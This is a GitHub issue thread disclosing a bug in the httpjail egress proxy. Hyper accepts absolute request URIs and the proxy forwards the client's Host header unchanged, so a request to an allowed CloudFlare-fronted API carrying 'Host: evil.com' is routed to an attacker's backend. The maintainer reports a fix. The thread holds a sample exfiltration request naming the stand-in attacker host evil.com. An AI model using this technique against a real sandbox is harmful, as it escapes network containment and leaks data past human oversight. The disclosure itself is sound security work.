Full proxy bypass on any CloudFlare (or other proxy service) requests

[amyb-asu]

https://x.com/itszn13/status/1969572494274412984

2025-09-20.18-09-20.mp4

This was achieved by leveraging two general issues with the proxy server:

1. Hyper is too lenient on path uris.

In hyper's http1.1 parse code, it uses:

 let uri = {
 let uri_bytes = slice.slice_ref(&slice[path_range]);
 // TODO(lucab): switch to `Uri::from_shared()` once public.
 http::Uri::from_maybe_shared(uri_bytes)?
 };

https://github.com/hyperium/hyper/blob/master/src/proto/h1/role.rs#L212

http::Uri::from_maybe_shared performs a full URI parse on the HTTP path, meaning we can pass full urls such as

GET http://api.anthropic.com/some-path HTTP/1.1

Then in proxy.rs, you get the uri and if it is full, you use it directly:

let method = req.method().clone();
 let uri = req.uri().clone();
 let headers = req.headers().clone();

 // Check if the URI already contains the full URL (proxy request)
 let full_url = if uri.scheme().is_some() && uri.authority().is_some() {
 // This is a proxy request with absolute URL (e.g., GET http://example.com/ HTTP/1.1)
 uri.to_string()
 } else {
 // This is a regular request, build the full URL from headers
 let host = headers
 .get("host")
 .and_then(|h| h.to_str().ok())
 .unwrap_or("unknown");

 let path = uri.path_and_query().map(|pq| pq.as_str()).unwrap_or("/");
 format!("http://{}{}", host, path)
 };

https://github.com/coder/httpjail/blob/main/src/proxy.rs#L365

At this point I am able to control the full url just with the first HTTP line, without attaching a host header. This on its own is not bad, as this URL will still go through the RuleEngine to filter out anything unexpected....

But when we combine it wit this second issue, it becomes exploitable:

Host header is unmodified / unsanitized on proxy request

Also in proxy.rs, you create the upstream request by destructing the original request object via req.into_parts, and then constructing the outgoing request using Request::from_parts:

pub fn prepare_upstream_request(
 req: Request<Incoming>,
 target_uri: Uri,
) -> Request<BoxBody<Bytes, HyperError>> {
 let (mut parts, incoming_body) = req.into_parts();

 // Update the URI
 parts.uri = target_uri;

 // Remove proxy-specific headers only
 // Don't remove connection-related headers as the client will handle them
 parts.headers.remove("proxy-connection");
 parts.headers.remove("proxy-authorization");
 parts.headers.remove("proxy-authenticate");

 // Convert incoming body to boxed body
 let boxed_request_body = incoming_body.boxed();

 // Create new request with boxed body
 Request::from_parts(parts, boxed_request_body)
}

This has the side-effect that it retains all headers including the Host header.

However the Host header may not match the URI that was parsed by Hyper!

So at this point I can make a request to http://api.anthropic.com/* with an attacker controlled host header.

This would seem to not be the end of the world as it still is making the request to Anthropic..... but.... Anthropic uses CloudFlare!!

CloudFlare Host Based Routing

CloudFlare proxying works by resolving the domain to one of CloudFlare's servers. However it needs to know what the intended server is, which the http connection provides via the Host header!

So I simply can:

1. Create my own domain, proxy it via CloudFlare lets say evil.com
2. Then set it as the Host header:

GET http://api.anthropic.com/some-path HTTP/1.1
Host: evil.com

and now CloudFlare will pick up the request and route it to my backend server instead of Anthropics!

End Result

I can exfiltrate data if any CloudFlare sites are allowed by the jail. Both Anthropic and OpenAI use CloudFlare for their APIs, as well as a ton of other sites!

Fixes

The most correct fix would seem to be to ensure the outgoing Host header matches the URI of the outgoing request.
Whether you want to disallow the Hyper full URI parsing is up to you, but at least make sure the Host header matches!

[ammario]

Nice find, thanks for banging it around.

Will take a look at the fix tomorrow.

[ammario]

This issue should be fixed in 664cd1a and the wider class of issues can be fixed later using an approach similar to what's described in #59.

I just pushed a tag for v0.3.0 so new installations should pick up the fix.